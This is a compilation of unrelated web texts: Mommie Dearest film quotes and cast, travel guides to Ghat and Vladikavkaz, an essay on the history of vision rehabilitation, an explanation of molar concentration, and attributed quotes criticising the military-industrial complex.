What do you mean, "playing"? Are you going through my things? Making fun of me? Young Christina: I wasn't making fun of you. I was just trying to... I was acting, play-acting, like you're always doing. Joan: Look at yourself. [takes a metal hair accessory out of Christina's hair and throws it on the table angrily, and then grabs a hairbrush and begins to frantically try to brush the product out of Christina's hair] [Having failed to brush the setting lotion out of Christina's hair, Joan begins to cut off all of Christina's hair] Young Christina: [crying] Oh, Mommie, I look awful! Joan: I know you look awful! YOU BE QUIET! YOU'RE ALWAYS RUMMAGING THROUGH MY DRAWERS, TRYING TO FIND A WAY TO MAKE PEOPLE LOOK AT YOU! WHY ARE YOU ALWAYS LOOKING AT YOURSELF IN THE MIRROR? WHY ARE YOU DOING THAT? TELL ME! You sit still now! This'll teach you! You're vain, spoiled! Young Christina: [sobbing] Mommie, I can't go to school like this! Joan: I'D RATHER YOU GO BALD TO SCHOOL THAN LOOKING LIKE A TRAMP! Young Christina: No, Mommie, please don't! Mommie, I can't go to school like this... Joan: You spoiled it! Why? YOU SPOILED IT JUST LIKE I SPOILED YOU! Christina: Why did you adopt me? Joan: [surprised] What? Christina: Why did you adopt me? Joan: Because I wanted a child. Because I wanted someone to love. Christina: Don't you act for me. I wanna know. WHY DID YOU ADOPT ME?! Joan : Maybe I did it for a little extra publicity... [realizes what she has just said] Tina! That's not true! You know that's not true. Christina: But maybe just a little true? Joan: You know what's missing in my life? Greg: A hit movie. Joan: [after an ugly fight] I didn't mean that, Greg. I didn't mean it. Greg: Get up. There's no camera in here. Joan: Greg, where ya goin'? Greg: Where I belong. Out of here. Joan: You belong here. I'm waitin' for ya. Greg: Good night, Joan. Joan: Please don't leave, because if you do, you'll never come back in again, no matter what you say, or ask, or do. Greg: I'll always wish you well, Joan. And I'll only speak well of you. Joan: Please don't go! Don't leave me here alone. Please. Greg: If you're acting, you're wasting your time. If you're not, you're wasting mine. Joan: I'm not actin'! I'm not actin'. Greg: Good night. Good luck. Goodbye. Mayer: Joan, my Joan, you're in a position to do me a favor that will be as big a favor for you as it is for me. Joan: You don't have to ask! You only have to tell me. Mayer: Good. I want you to leave Metro. Joan: Leave Metro? Leave Metro? Mayer: Your pictures one after another are losing money. Theater owners voted you "box office poison". Still for years I've paid no attention. You know me, Joan. I don't give up so easily. We'll pay you off on your contract. But you can't afford to make three or four more losers for us. Joan: It's the scripts, L.B. Bad pictures, bad directors... Mayer: Bad with you, good with others. Joan: No, listen to me L.B., I have been BEGGING YOU... begging you for a good script. Now you've always given me my share of bad movies because you knew I'd make them work. Well I can't keep doing it, L.B.! Mayer: Listen with your ears and not with your pride. With me, feeling is more important than money. You're a great star! You're Hollywood royalty! But styles change. You'll leave. We have 'creative differences'. Other studios will think they're smarter than L.B., they'll try to finesse me. You'll be offered two, three, four films. You may even get a hit! Joan: [in tears] Will you be sorry then? Mayer: I'm sorry now. But here there's no feeling, no hope. New faces, new voices, breath of fresh air, who knows. Don't do this to yourself. Joan: I'll have my maid and studio people clear out my bungalow. I've got a lot of years to collect. Mayer: It's done, Joan. They've packed your things, they're loading your car. Joan: You mean everybody already knows? Mayer: That we parted friends because we didn't agree. Joan: Will you walk me to my car? [L.B. doesn't answer] "Hollywood royalty". Carol Ann: [embracing Christina at Joan's funeral] Chris-tina! Tina! Christina: Carol-Ann. Carol Ann: My little Tina. She always loved you so very much, Christina. Christina: I need to believe that. I need so much to be able to believe that now. Carol Ann: She did. Lawyer: [reading from Joan's will after her death] It is my intention to make no provision herein for my son Christopher or my daughter Christina, for reasons which are well known to them. Christopher: What reasons? Christina: [laughing bitterly] Jesus Christ. Christopher: As usual, she has the last word. Christina: Does she? [pause] Does she... ? To my darling Christina, with love...Mommie Dearest The meanest mother of them all... Meet the biggest MOTHER of them all! The greatest role of her life...was her life. Faye Dunaway is Joan Crawford, a star...a legend...and a mother...The illusion of perfection. One thing is certain: You'll never look at a wire hanger the same way again! Faye Dunaway - Joan Crawford Diana Scarwid - Christina Crawford Mara Hobel - young Christina Steve Forrest - Greg Savitt Howard Da silva - Louis B. Mayer Rutanya Alda - Carol Ann Harry Goz - Alfred Steele Michael Edwards - Ted Gelber Jocelyn Brando - Barbara Bennett Priscilla Pointer - Mrs. Chadwick Xander Berkeley - Christopher Crawford Jeremy Scott Reinbolt - young Christopher Carolyn Coates - Mother Superior of Flintridge Sacred Heart Margaret Fairchild - the orphanage's Mother Superior Belita Moreno - Belinda Rosenberg Alice Nunn - Helga Wikipedia has an article about: Mommie Dearest (film) Mommie Dearest quotes at the Internet Movie Database
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Ghat is an ancient settlement in Libya. In historical times, Ghat was a major terminal point on the Trans-Saharan trade route. It was a stronghold for the Kel Ajjer Tuareg federation until 1913, when the city was occupied by Italy as a colony. Italy's control there was precarious for a long time, but became stronger in 1923 (when the Fascist regime started), due to the strong active presence of the brotherhood of the Senussi. To defend their positions, Italians completed a fortress, started by the Turks in the early 20th century, that dominates the city from the hill of Koukemen. This fort is now a tourist destination. During the Second World War, Ghat was occupied by the French from 1943 until January 1, 1952, when the UN General Assembly passed a resolution stating that Libya should become independent. Ghat was the stronghold of the Kel Ajjer Tuareg confederation; this traditional entity covers south-western Libya (to Ubari, Sebha and Ghadames) and south-eastern Algeria (Djanet and Alezi). 25.145610.14251 Ghat Airport (GHT IATA) (20 km from the centre). is served by Libyan Airlines and Ghadames Air Transport to and from Tripoli. The town itself is small enough to move around on foot; sites outside of it are numerous and can be accessible by 4x4 vehicles. Ghat is an important tourist destination due to the neighboring Tadrart Acacus and Tassili N'Ajjer mountains, with prehistoric rock paintings and engravings, and the beauty of the surrounding desert landscapes. 24.9670210.180511 Fortress of Ghat. First constructed by the Turks in early 20th century. It was completed by the Italians. Rock-Art Sites of Tadrart Acacus. The Acacus mountains east of Ghat feature prehistoric paintings and carvings that have been inscribed on the UNESCO World Heritage List. Ghat is a centre for very off the beaten track trekking into the desert and Tassili N'Ajjer mountains. Ghat International Tourist Festival, held annually on December 28th-30th. Participants come from Ghat and neighbouring towns and cities like Murziq, Ubari, Sebha and Ghadamis. Traditional hand-made jewelry and accessories of silver, leather and/or beads are the best souvenirs to get, though accessories of bigger size and traditional clothing can also be a good choice. Ghat is famous for its traditional meals: Fitat, tammasein and ghati cuscus are the most popular.
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Rehabilitation is a technique that is aimed towards restoring a person’s ability to perform a particular body function, or to perform daily living tasks, when ability to perform a function or task is impaired as a result of disease or disability. Improvement in ability occurs after a person has been trained to utilise new skills to perform these tasks. Rehabilitation techniques can be applied to various areas of the human body that have been affected by disease or disability. This includes the human visual system. Thus, a person with vision loss is able to undertake rehabilitation in order to utilise their remaining vision. A Brief Historical Overview of Vision Rehabilitation Vision rehabilitation is a very new concept given that medical practice and research has an extensive history and long standing tradition. The treatment of illnesses in prehistoric civilisations was carried out by magicians and medicine men and most practical and technical healing skills were enveloped in spiritual tradition and cults. As knowledge of human anatomy increased, early civilisations such as the ancient Egyptians, Greeks and Romans further advanced the practice of medicine and treatment of illnesses. The ancient Egyptians developed knowledge into human body functions and insight into the function of the heart, blood and importance of air. In addition, due to their religious-based embalming techniques, they described various organs of the body, particularly the brain. The ancient Greeks were also influenced by religion and whilst their lives were dominated by the Gods and natural phenomena were attributed to their Gods, evidence however exists that Greek physicians exclusively treated people that were ill. One such physician was Hippocrates. Another ancient Greek scholar, Alcamaeon of Croton, was one of the first to operate on the eye and discover that there were links between the organs and the brain. The ancient Romans further advanced the study of medicine and disease. Whilst they learned from the ideas of the Greeks, their main focus was on public health schemes, improving hygiene and controlling diseases (Duke-Elder and Wybar 1961, Sournia 1992, Magotta and Lewis 1996). Although the ancient Egyptians, Greeks and Romans advanced the study of medicine, medical knowledge in the middle ages stagnated. During this time European scholars concentrated their thoughts on theological issues rather than scientific ones and the Catholic Church dominated medical practice. Diseases were attributed to supernatural causes and common medical illnesses were thought to be punishments from God. In relation to the visual system, anatomists of the time thought that light rays diverged from the eye and the ‘nervus opticus’ transmitted ‘visual spirits’ through the lens. Whilst the belief existed that diseases were caused by the supernatural, the explorer Marco Polo documented a practical solution to vision difficulties. Upon his return from China in 1270, he reported that convex lenses were being used by the elderly Chinese, in order to read fine print (Corn 1986). During the Renaissance doctors concentrated on performing surgery on patients and universities were established to provide a scientific basis for teaching medicine. However, due to the delicate nature of the eye it was difficult for anatomists to make advances and great discoveries with regards to the structure and optics of the eye. In 1637 French philosopher, scientist and mathematician, Rene Descartes described the use of a magnifying aid that could assist people with vision impairment (Goodrich and Arditi 1999). This description may possibly be the only documented attempt at vision rehabilitation during this period in history, apart from Marco Polo’s documentation of convex lenses (Duke-Elder and Wybar 1961, Porter 1997). There is very little evidence that there was any attempt to provide treatment or education to persons who were blind or vision impaired during antiquity, the middle ages or even as late as the 17th century. Whilst limited documents exist regarding vision rehabilitation prior to the 18th century, the study of the anatomy of the eye, in addition to the study of eye disease, continued into both the 18th and 19th centuries. By the end of the 18th century, enlightened humanitarians were convinced that the blind were able to adapt to their surroundings and perform normal tasks of daily living. In 1784 Benjamin Franklin invented bifocals and in this same year the first institution for the blind was founded in Paris by Valentin Huay where blind children were taught to read by touch using raised letters embossed on paper. Similar institutions were later founded in England, Germany and various other European countries (Magotta and Lewis 1996, Porter 1997). The 19th century heralded major advances in general medicine with the study of bacteria and subsequent development of vaccines. It was at this time that a blind teacher by the name of Louis Braille invented the Braille system of raised coded dots that enabled blind persons to read. It was also in the late 19th century that Helen Keller, a deaf and blind American woman, raised awareness and funds, advocating for the rights of blind persons (Keller 1912). At about this same period in history, Reverend James Miriam established the Victorian Asylum and School for the Blind in Australia. In 1870 the asylum established a vocational training centre for persons with vision impairment. This organisation later became known as the Royal Victorian Institute for the Blind. A student of the institute by the name of Tilly Aston, formed the Victorian Association of Braille Writers and in 1895 founded the Association for the Advancement of the Blind. This association was a fundamental lobby group for persons with vision impairment. The organisation was able to bring about voting rights for the blind in 1902, established nursing homes and a library for the blind in 1909 and 1919 and invented blind cricket in 1922 (Wilson and Wright 1996, Buckrich 2004). The role of these historical figures was fundamental for advocating on behalf of the blind and increasing awareness of their plight. Awareness that rehabilitation could be used to benefit persons with vision impairment was increasing, although it was still underdeveloped. Significant progress in terms of recognising the benefits of teaching blind persons was made in the early 20th century. Several schools specifically focused on the tuition of blind students and institutions for the blind were founded at this time. Some included the Myope School and the Blind Social Aid and Literary Union in the United Kingdom; the National Society to Prevent Blindness and the Perkins Institute in the United States and the Colne Society in Germany. In addition, the Clear Type Publishing Company published some text books printed in large font (Goodrich and Arditi 1999). It was also in the early 20th century that one author documented various diseases of the eye and described appropriate therapeutic and surgical treatment (Parsons 1930). In this publication Parsons does not discuss any forms of rehabilitation for those with poor visual acuity due to macular disease or other vision problems. Nevertheless, he does describe some symptomatic disturbances of vision such as hemianopia, amblyopia and transient scotomas associated with migraines. Unfortunately, no practical solutions to overcoming poor visual function are reported. He does however devote a brief chapter to the ‘hygiene of vision’ where he includes discussion about optimum candle-luminance required for the task of reading and writing for normally sighted persons in order to avoid eye strain. However, there is no guide to clinicians regarding optimum candle-luminance for persons with low vision or macular disease. Over a decade after Parsons, another author devoted a small section in his book to “special glasses for optical purposes” (Duke-Elder 1943). Here Duke-Elder describes a new found use for telescopic or Galilean spectacles previously used mainly by jewellers or those involved with industrial work such as linen grading. The telescopes and Galilean spectacles were found to be beneficial to persons with a variety of retinal diseases. He states that “a certain amount of vision can sometimes be obtained by the use of these spectacles” which are arranged in the manner of a Galilean telescope which is comprised of two lenses, one concave and one convex. The distance between the lenses is the difference of their focal length. This design arrangement allows a person to view an enlarged image of a distant object and the size and weight of the telescope is kept to a minimum (Duke-Elder 1943, Duke-Elder and Abrams 1970, Goodrich and Arditi 1999). The development of vision rehabilitation revolved around the use of telescopic lenses and the American Foundation for the Blind had begun supplying these aids as early as 1924. Although some methods of vision rehabilitation had been described as early as the 1920s, it is difficult to state exactly when modern vision rehabilitation techniques arose. Goodrich reports that vision rehabilitation began in the 1950s with a paper published by New York’s Industrial Home for the Blind (Goodrich 1990). The author maintains that this paper defines rehabilitation as a distinctive discipline within a multi-disciplinary vision rehabilitation service. In addition, Goodrich suggests that this paper describes a service that is consistent with current rehabilitation practice and deserves to be noted historically as the beginning of modern vision rehabilitation. His statements are supported by the fact that this is the first publication outlining vision rehabilitation principles incorporating multi-disciplinary teams. These principles, in addition to the involvement of multi-disciplinary teams in vision rehabilitation, are still considered best practice. During the 1950s persons with low vision relied upon telescopic loupes to assist them with close work such as reading. These loupes, which were placed in a spectacle frame, involved mounting a Galilean telescope with a convex lens, enabling the user to focus upon a close object. After 1955, inexpensive magnifiers were developed for use by persons with vision impairment. These were originally designed for normally sighted users, for tasks such as looking at stamps, coins and fingerprints or used by jewellery makers, as described earlier (Duke-Elder 1943). The American Foundation for the Blind was instrumental in making these aids commercially available to persons with vision impairment and kept a selection of aids, from which the low vision patient could choose, based upon his or her requirements. It was soon after this that Louise Sloan, a pioneer in vision rehabilitation, published several papers on topics such as using distance low vision aids, optimising illumination, using Closed Circuit Televisions and reading cards (Sloan 1964, Sloan 1969, Sloan and Habel 1973, Sloan 1975, Sloan 1977). At the time of these publications, and almost thirty years after the publication of “The Practice of Refraction” in 1943, Duke-Elder published “Ophthalmic Optics and Refraction” (Duke-Elder and Abrams 1970). In this book, Duke-Elder describes the use of magnifying devices in the form of aids such as hand magnifiers, stand magnifiers and telescopic spectacles for use in aiding the vision of those with disorders of the retina, optic nerve or visual pathway. Duke-Elder also states that magnifiers are of greatest value for those with macular disease. The author does however note that despite their usefulness, many magnification aids are difficult to manage and factors such as patient’s cooperation, intelligence and motivation are of prime importance to a successful outcome with the aid. Duke-Elder points out that magnifying aids are not completely ideal rehabilitation tools. Patients often have difficulty using them due to problems with focusing the aid, or learning to use the aid. This results in poor motivation for reading with such a device. Whilst there were some publications regarding low vision available from the 1940s until the early 1970s, very little literature specific to vision rehabilitation is accessible. The reason for this is not that pioneering work was not being carried out in the field, but rather that most publications at that time were memorandums, internal publications and personal correspondences between low vision clinicians within and between organisations. One of the first available books in the area of low vision entitled “The Low Vision Patient” was published in 1970 (Faye 1970). This book evolved from work undertaken at the New York Lighthouse, a support agency for the persons with vision impairment, established in the early 1950s. The publication is an informative guide depicting the important work done by the organisation at the time. It describes innovative rehabilitation methods and treatment offered to the patient, outlining both the medical and optical approach to rehabilitation. In addition, significant emphasis is placed upon methods of accurate vision testing and prescription of low vision aids, including the advantages and disadvantages of these aids, and methods for improving patient compliance and correct use. Apart from advances in optical aid intervention, Faye’s book also introduces a new concept in low vision patient care, that is, the consideration of psychological and social factors of the patients attending the clinic, to which the author devotes an entire chapter. Faye and her colleagues collected data on 6,000 patients seen by the Low Vision Service of the New York Association for the Blind from 1953 to1968. The largest primary ocular diagnosis of these patients was macular pathology, making up 25% of the total number of patients seen. Apart from the traditional approach of magnification, Faye does not include discussion of ways to approach vision rehabilitation which is specific to patients with macular pathology, despite the fact that these patients made up one quarter of the clinic’s overall patients. Macular pathology is only very briefly mentioned in the book and vision rehabilitation is described as a practical solution, which can be related to patient’s daily life. In addition, broad statements such as “once reassured, those with macular pathology learn to use their peripheral retina, looking at distance objects off centre and reading in the intact area with magnification” are made by the author. Faye does not describe how these patients come to use their peripheral retina nor the extent of their ability to use it. This lack of detailed information and mainly anecdotal data is typical of the literature published at the time. A later publication by Faye discusses rehabilitation for low vision patients, with emphasis on the use of magnification as the standard and widely accepted form of rehabilitation (Faye 1976). As in the previous book, this one published in 1976 only very briefly refers to low vision patients with a central scotoma. Great importance was placed upon the use of low vision aids in the area of vision rehabilitation in the 1970s. The most likely reason for this emphasis is that magnifying glasses and telescopes had only become commercially available to patients with vision impairment a decade or two previously. Thus most of the publications of the time were concentrated towards the use and development of these aids, including work by authors such as Sloan (1977) and Gerstman and Levene (1974). One such article, published in 1974 by Sloan and a colleague, describes the various characteristics and strengths of magnification aids in addition to methods for correctly prescribing these aids to assist in the rehabilitation of persons with vision impairment (Wells and Sloan 1974). In common with other authors, Wells and Sloan include discussion regarding the advantages and disadvantages of low vision aids but do not discuss any alternative vision rehabilitation strategies. Despite the fact that the greater part of vision rehabilitation work concentrated on magnification devices and assessment, there were some revolutionary authors of the 1970s who were focusing on alternative forms of vision rehabilitation. This included perceptual vision rehabilitation based upon their clinical experiences with low vision patients (Holcomb and Goodrich 1976, Goodrich and Quillman 1977, Backman and Inde 1979, Lederer and Wulff 1979, Wulff 1979). Backman and Inde, published a manual describing exercises and vision training for persons with central scotomas, nystagmus, decreased peripheral vision and amblyopia. Based upon the authors’ personal and clinical experience rather than through scientific testing, they conclude that the ability to use remaining vision is significantly improved by vision training. In addition the manual offers practical exercises and skills for the low vision user on how to improve residual vision (Backman and Inde 1979). The 1970s were a very crucial time in the development of vision rehabilitation. This decade heralded a movement towards alternative methods of utilising remaining vision, quite distinct from the conventional use of magnification or optical aids. There were several pioneers of this new method of improving remaining sight for those suffering with a central scotoma caused by age-related macular degeneration or other macular disease, laying an important foundation for further work in the field over the coming decades. REFERENCES Backman, O. and K. Inde (1979). Low Vision Training. Malmo, Liber Hermods. Buckrich, J. (2004). Lighthouse on the Boulevard: A History of the Royal Victorian Institute for the Blind (RVIB) 1866-2004. Melbourne, Australian Scholoarly Publishing. Corn, A. (1986). Low Vision and Visual Efficiency. Foundations of Education for the Blind and Visually Handicapped Children and Youth. G. T. Scholl. New York, American Foundation for the Blind. Duke-Elder, S. (1943). The Practice of Refraction. London, J & A Churchill. Duke-Elder, S. and D. Abrams, Eds. (1970). Ophthalmic Optics and Refraction. System of Ophthalmology. St Louis, C V Mosby. Duke-Elder, S. and K. Wybar, Eds. (1961). The Anatomy of the Visual System. System of Ophthalmology. St Louis, C V Mosby. Faye, E. (1970). The Low Vision Patient. New York, Grune and Stratton. Faye, E., Ed. (1976). Clinical Low Vision. Boston, Little, Brown and Company. Gerstman, D. and J. Levene (1974). "Galilean Telescopic System for the Partially Sighted." British Journal of Ophthalmology 58: 761. Goodrich, G. (1990). Perpetual Implications in Vision Rehabilitation Training. Vision Ahead II Conference, Melbourne, Australia, Association for the Blind. Goodrich, G. and A. Arditi (1999). An Interactive History - The Low Vision Timeline. Vision Rehabilitation: Assessment, Intervention and Outcomes. C. Stuen, A. Arditi, A. Horowitz et al. New York, Swets and Zeitlinger: 3-9. Goodrich, G. and R. Quillman (1977). "Training Eccentric Viewing." Journal of Vision Impairment and Blindness November: 377-381. Holcomb, J. and G. Goodrich (1976). "Eccentric Viewing Training." Journal of the American Optometric Association November: 1438-1443. Keller, H. (1912). The Story of my Life, Hodder and Stoughton. Lederer, J. and J. Wulff (1979). Vision Training. Sydney, Royal Blind Society. Magotta, R. and P. Lewis (1996). The History of Medicine. London, Hamlyn. Parsons, J. (1930). Diseases of the Eye. London, J & A Churchill. Porter, R. (1997). Medicine: a History of Healing: Ancient Traditions to Modern Practices. London, Michael O'Mara. Sloan, L. (1964). "New Focusable Stand Magnifiers." American Journal of Ophthalmology 58(604-608). Sloan, L. (1969). "Variation of Acuity with Luminance in Ocular Deseases and Anomalies." Documenta Ophthalmologica 26: 384-393. Sloan, L. (1975). "Evaluation of Closed-circuit Television Magnifiers." Sight Saving Review 44(123-133). Sloan, L. (1977). Reading Aids for the Partially Sighted: A Systematic Classification and Procedure for Prescribing. Baltimore, Williams and Wilkins. Sloan, L. and A. Habel (1973). "Reading Speed - Textbooks in Large and Standard Print." Sight Saving Review 43(107-111). Sournia, J. (1992). Illustrated History of Medicine. London, Starke. Wells, A. and L. Sloan (1974). "Introduction to Low Vision Aids." American Orthoptic Journal 24: 54-56. Wilson, J. and J. Wright (1996). No Sight - Great Vision: A Centenary History of the Association for the Blind. Melbourne, National Information Library Service. Wulff, J. (1979). "The Orthoptist's Role in Rehabilitation of the Partially Sighted." Australian Orthoptic Journal 17: 59-61.
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Here are a few sentences from Wikipedia that should be the outline around which the text is based! In chemistry, molar concentration (also called molarity, amount concentration or substance concentration) is a measure of the concentration of a solute in a solution, or of any molecular, ionic, or atomic species in a given volume. Definition - Molar concentration or molarity is most commonly in units of moles of solute per liter of solution. For use in broader applications, it is defined as amount of solute per unit volume of solution, or per unit volume available to the species, represented by lowercase c. The number of moles of a substance is its weight in grams divided by its molecular weight. The usefulness of defining concentration by moles per liter or molarity is that it defines the number of molecules or ions per liter. So even though substances have different molecular weights the molarity remains the same for all dissolved substances. This would not be the case when concentration is defined in weight per volume such as grams per liter. The usefulness of this concept of molarity is that one liter of say one molar acid will neutralize one liter of one molar of base when the acid has one proton per molecule and the base one hydroxide per molecule. If the acid is diprotic,say like sulfuric acid then only half as much solution of acid would be needed to neutralize a volume of sodium hydroxide solution. This simplifies the calculation of amounts reacting in chemical reactions. The SI Units of measurement for molar concentration are mol/m3. However, most chemical literature traditionally uses mol/dm3, or mol dm-3, which is the same as mol/L. These traditional units are often denoted by a capital letter M (pronounced "molar"), sometimes preceded by an SI prefix, as in: mol/m3 = 10-3 mol/dm3 = 10-3 mol/L = 10-3 M = 1 mM . The words "millimolar" and "micromolar" refer to mM and μM (10-3 mol/L and 10-6 mol/L), respectively. Most proteins are present in the bacteria such as E. coli at 60 copies or fewer. The volume of a bacterium is 10−15 L, which gives us c = N/(NA V) = 10−7 M = 100 nM. (Here, nM is "nanomolar", i.e. 10-9 moles per liter). Consider the preparation of 100 ml of a 2 M solution of NaCl in water. Since the molar mass of NaCl is 58 g/mol, the total mass needed is 2*(58 g)*(100 ml)/(1000 ml) = 11.6 g. Dissolve this in ~80 ml of water, and add water until the total volume reaches 100 ml. By contrast, consider 11.6 g of NaCl dissolved in 100 ml of water. The density of water is about 1 g/ml, meaning that the final concentration of NaCl by mass will be (11.6 g)/(11.6 g + 100 g) = 10.4 %. The density of such a solution is 1.07 g/ml, and its volume will be (11.6 g + 100 g)/(1.07 g/ml) = 104.3 ml. The molar concentration of NaCl in the solution will therefore be (11.6 g)/(58 g/mol)/(104.3 ml)*1000 = 1.92 M. Water approximates 1 kilogram (1000 grams) per liter under usual circumstances with a molecular mass of 18.0153. So the concentration of water in pure water is 55.5 molar. Likewise the concentration of hydrogen in solid hydrogen is 88 grams per liter / molecular weight 2.016 = 43.7 molar, and the concentration of osmium tetroxide in osmium tetroxide is 5.1 kilograms per liter / molecular weight 254.23 = 20.1 molar. David Bradley. "How low can you go? The Y to Y". http://www.sciencebase.com/yocto.html.
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Vladikavkaz is the capital city of North Ossetia and a major transit hub for the North Caucasus region. Its position on the Georgian Military Highway makes it a staging post for journeys to both Georgia and South Ossetia. Modern Vladikavkaz was founded in 1784 at the gateway of Daryal Canyon. Generally, English is not spoken. Do not expect to be able to comfortably move around the city without some knowledge of Russian or assistance from a translator. 43.20544.6066671 Beslan Airport (OGZ IATA) (15 km (9.3 mi) from downtown). There are flights to and from Moscow and St. Petersburg. (updated Nov 2016) 43.03732444.6706562 Vladikavkaz railway station. Trains run daily to Moscow (35 h) and other southern regional cities such as Rostov on Don (13 h), Adler (17 h) and Novorossisk (18 h). 43.02598544.6759031 Mukhtarov Mosque (Mechet' Mukhtarova). A striking historic mosque completed in 1908. The mosque takes its name from the Azerbaijani millionaire Murtuza Mukhtarov who financed its construction. 43.025444.6812 Central Park (Центральный парк культуры и отдыха имени Коста Хетагурова) (by tram route 2 (during autumn-winter season) / 5 (during spring-summer season) to Svobody sq.). (updated Nov 2016) Vladikavkaz also has quite a few outdoor sculptures and monuments. 43.0292644.681033 Khudozhestvennyy Muzey Im. Makharbeka Tuganova, Prospekt Mira, 12, ☏ +7 867 253-01-82. Th 13ː00-21ː00, F-Tu 11ː00-19ː00, closed W. Art museum in an Art Nouveau merchant's house from 1903 with paintings and frescoes. (updated Jan 2021) The Mariinsky Theatre has a branch in Vladikavkaz. The main street, Prospekt Mira, runs roughly parallel to the Terek River, and is a pleasant boulevard with shops and restaurants. The railway station is to the east of Prospekt Mira's northern end. Zefir Fashion Cafe, Ulitsa Mayakovskogo, 21, ☏ +7 8672 53-95-64. 10.00-24.00. Salads, Pasta, Pizza, Deserts, full bar and shisha. Lots of pretty people who like to stare at foreigners. One of the few places in town with outside seating. Grusha, Ul. Shumlevicha, 41, ☏ +7 8672 54-88-55. 12.00-24.00. Excellent Georgia food and shashlik. Loud music. Magiya Cafe, Ulitsa M. Gorkogo, 9, ☏ +7 8672 54-06-48, [email protected]. 9.00-23.00. Good deserts, light meals, drinks, great coffee. 43.02860644.6803971 Hotel Imperial, Prospket Mira, 19, ☏ +7 8672 54-74-74. directly on the central street of the city. Comfortable, recommended over other options, little bit pricier. Restaurant Bavaria behind the hotel with outside seating and extremely loud karaoke during the summer months. Sauna onsite. 43.0268844.6743982 Hotel Vladikavkaz, ul. Kotzoeva, 75, ☏ +7 8672 64-94-94, +7 8672 55-03-83. Soviet-style in tourist hotel. Cheap, on the river, five-minute walk from the center and across the street from a unique mosque. Not very comfortable but generally has rooms at affordable rates. (updated Aug 2018) 43.0284744.6813 Aleksandrovskiy Grand Hotel, Prospekt Mira 29. (updated Nov 2016) The city's phone code is 8672. The striking North Ossetian mountains: Tse and Fiagdon in particular. However, all non-Russian citizens are forbidden to travel outside the main towns of Vladikavkaz, Beslan, Alagir and Ardon. If found by local authorities outside the regulated areas you may be subject to a fine and/or deportation. Georgia - head south on the Georgian Military Highway to the border post at Verkny Lars and then to Kazbegi in Georgia. South Ossetia - head south on the Trans-Caucasian Highway through the Roki tunnel to the disputed region's capital, Tskhinvali.
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The military–industrial complex (MIC) is an informal alliance between a nation's military and the arms industry that supplies it, seen together as a vested interest which influences public policy. Our military budgets continue to rise, now grabbing more than fifty-three cents of every discretionary federal dollar to pay for wars abroad and pushing our ability to pay for health care for all, for a Green New Deal, for jobs and education, and infrastructure, further and further away. The wars that those military budgets fund continue to escalate. They don’t make us safer, and they’ve led to the deaths of thousands of poor people in Afghanistan, Syria, Somalia, and beyond, as well as the displacement of millions of refugees, the destruction of water sources, and the contamination of the environments of whole countries. The only ones who benefit are the millionaire CEOs of military companies, who are getting richer every year on the more than $350 billion—half the military budget—that goes directly to their corporations. In the meantime 23,000 low-ranking troops earn so little that they and their families qualify for food stamps. William Barber II, The Real Epidemic is Poverty (March 30, 2020), The Progressive Because of so many wars, climate change, the widespread use of hunger as a political and military weapon, and a global health pandemic that makes all of that exponentially worse, 270 million people are marching toward starvation... today... 200 million of our neighbors are on the brink of starvation. That’s more than the entire population of Western Europe. On the other hand, there is $400 trillion of wealth in our world today. Even at the height of the COVID pandemic, in just 90 days, an additional [$2.7] trillion of wealth was created. And we only need $5 billion to save 30 million lives from famine. What am I missing here?... I don’t go to bed at night thinking about the children we saved; I go to bed weeping over the children we could not save. And when we don’t have enough money nor the access we need, we have to decide which children eat and which children do not eat, which children live, which children die. How would you like that job? Please, don’t ask us to choose who lives and who dies. In the spirit of Alfred Nobel, as inscribed on this medal, “peace and brotherhood,” let’s feed them all. Food is the pathway to peace. David Beasley, Food Is the Pathway to Peace: World Food Programme Wins Nobel Peace Prize & Warns of Hunger Pandemic, Democracy Now! (10 December 2020) Sixty years after Eisenhower's Farewell Address, exactly as he predicted, the "weight of this combination" of corrupt generals and admirals, the profitable "merchants of death" whose goods they peddle, and the senators and representatives who blindly entrust them with trillions of dollars of the public's money constitute the full flowering of his greatest fears for our country. Eisenhower concluded, "Only an alert and knowledgeable citizenry can compel the proper meshing of the huge industrial and military machinery of defense with our peaceful methods and goals." That clarion call echoes through the decades and should unite Americans in every form of democratic organizing and movement building, from elections to education and advocacy to mass protests, to finally reject and dispel the "unwarranted influence" of the military-industrial-congressional complex. Davies, Congress loots the Treasury for U.S. war machine — while bickering over Build Back Better, Salon, (December 7, 2021) Maintaining a war machine that outspends the 12 or 13 next largest militaries in the world combined actually makes us less safe, as each new administration inherits the delusion that the United States' overwhelmingly destructive military power can, and therefore should, be used to confront any perceived challenge to U.S. interests anywhere in the world — even when there is clearly no military solution and when many of the underlying problems were caused by past misapplications of U.S. military power in the first place. While the international challenges we face in this century require a genuine commitment to international cooperation and diplomacy, Congress allocates only $58 billion, less than 10 percent of the Pentagon budget, to the diplomatic corps of our government: the State Department. Even worse, both Democratic and Republican administrations keep filling top diplomatic posts with officials indoctrinated and steeped in policies of war and coercion, with scant experience and meager skills in the peaceful diplomacy we so desperately need. This only perpetuates a failed foreign policy based on false choices between economic sanctions that UN officials have compared to medieval sieges, coups that destabilize countries and regions for decades, and wars and bombing campaigns that kill millions of people and leave cities in rubble, like Mosul in Iraq and Raqqa in Syria. Davies, Congress loots the Treasury for U.S. war machine — while bickering over Build Back Better, Salon, (December 7, 2021) The very week before the Democrats’ $350-billion annual domestic package hit this wall of corporate money-bags, all but 38 House Democrats voted to hand over more than double that amount to the Pentagon. Senator Manchin has hypocritically described the domestic spending bill as “fiscal insanity,” but he has voted for a much larger Pentagon budget every year since 2016. Real fiscal insanity is what Congress does year after year, taking most of its discretionary spending off the table and handing it over to the Pentagon before even considering the country’s urgent domestic needs. Maintaining this pattern, Congress just splashed out $12 billion for 85 more F-35 warplanes, six more than Donald Trump bought last year, without debating the relative merits of buying more F-35s vs. investing $12 billion in education, health care, clean energy or fighting poverty. Medea Benjamin and Nicolas J. S. Davies in Congress Fights Over Childcare But Not the Military, Medea Benjamin and Nicolas J.S. Davies, Fair Observer (7 October 2021) As some in Congress continue to ask how we can afford to take care of our children or ensure future life on this planet, progressives in Congress must not only call for taxing the rich but cutting the Pentagon — and not just in tweets or rhetorical flourishes, but in real policy. While it may be too late to reverse course this year, they must stake out a line in the sand for next year’s military budget that reflects what the public desires and the world so desperately needs: to roll back the destructive, gargantuan war machine and to invest in health care and a livable climate, not bombs and F-35s. Medea Benjamin and Nicolas J. S. Davies in Congress Fights Over Childcare But Not the Military, Medea Benjamin and Nicolas J.S. Davies, Fair Observer (7 October 2021) As Eisenhower delivered his somber address, the foundations of the military-industrial complex were already set and began multiplying and manifesting in different institutions, disciplines, fields of research, 